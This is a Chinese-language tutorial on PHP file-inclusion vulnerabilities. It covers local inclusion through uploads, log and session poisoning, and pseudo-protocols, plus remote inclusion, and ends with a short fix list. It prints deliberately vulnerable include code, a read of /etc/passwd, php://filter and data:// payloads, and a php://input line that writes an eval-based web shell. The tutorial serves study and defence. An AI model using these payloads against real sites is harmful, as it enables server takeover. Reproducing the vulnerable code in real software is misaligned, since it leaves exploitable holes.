一、漏洞原理
比如数据库连接单独存放在一个文件mysqli.php,其他文件需要用到数据库连接时直接调用mysqli.php文件,如果不是固定文件,而是用参数调用文件就会导致文件包含。
下面是常用语言的包含文件函数
PHP:include、require、include_once、require_once等
JAVA:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
二、漏洞利用
包含的文件会以当前文件的语言来执行。
1. 本地文件包含
(一) 通过上传文件利用
通过本地的文件来执行,或者有上传点通过上传文件后就行利用。
<?php
include($_GET['file']);
?>
利用file传参包含文件
如果没有上传点,还有很多方法,下面三种是常用的,尤其是伪协议
(二) 日志文件
通过访问日志写入利用代码,比如日志会读取UA信息,我们修改UA信息为恶意代码,再通过文件包含日志文件就造成了危害。
抓包修改
(三) session文件
就是采取了session的验证,session会存储到本地的文件中,我们通过修改session值后访问存储到session的本地文件就可以造成文件包含,但是有些session值采取的是临时存储,这个时候就会用到条件竞争(条件竞争这里我后面会用CTF的案列写出来,这里就展示一下session的利用)
这里是用websec传参作为session值
这个就是session值的文件名我们直接利用本地包含这个文件就可以了
(四) 伪协议
每种语言的伪协议都不一样,利用条件也不一样
1. 文件读取
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
这个是进行了bas64加密了的
2. 文件写入
php://filter/write=convert.base64-encode/resource=phpinfo.php
<?php
include($_GET['file']);
file_put_contents($_GET['file'],$_POST['content']);
?>
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
3. 文件执行
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
2. 远程文件包含
我们直接在自己的服务器上写自己需要构建的代码就可以了,需要打开allow_url_include这个配置
我用kali当作另一台服务器
自己服务器上的文件随便怎么写,写一句话木马也可以
三、漏洞修复
过滤关键字,比如../../等
设置白名单
关闭allow_url_fopen 和 allow_url_include两个共功能
固定包含文件,不要被用户可控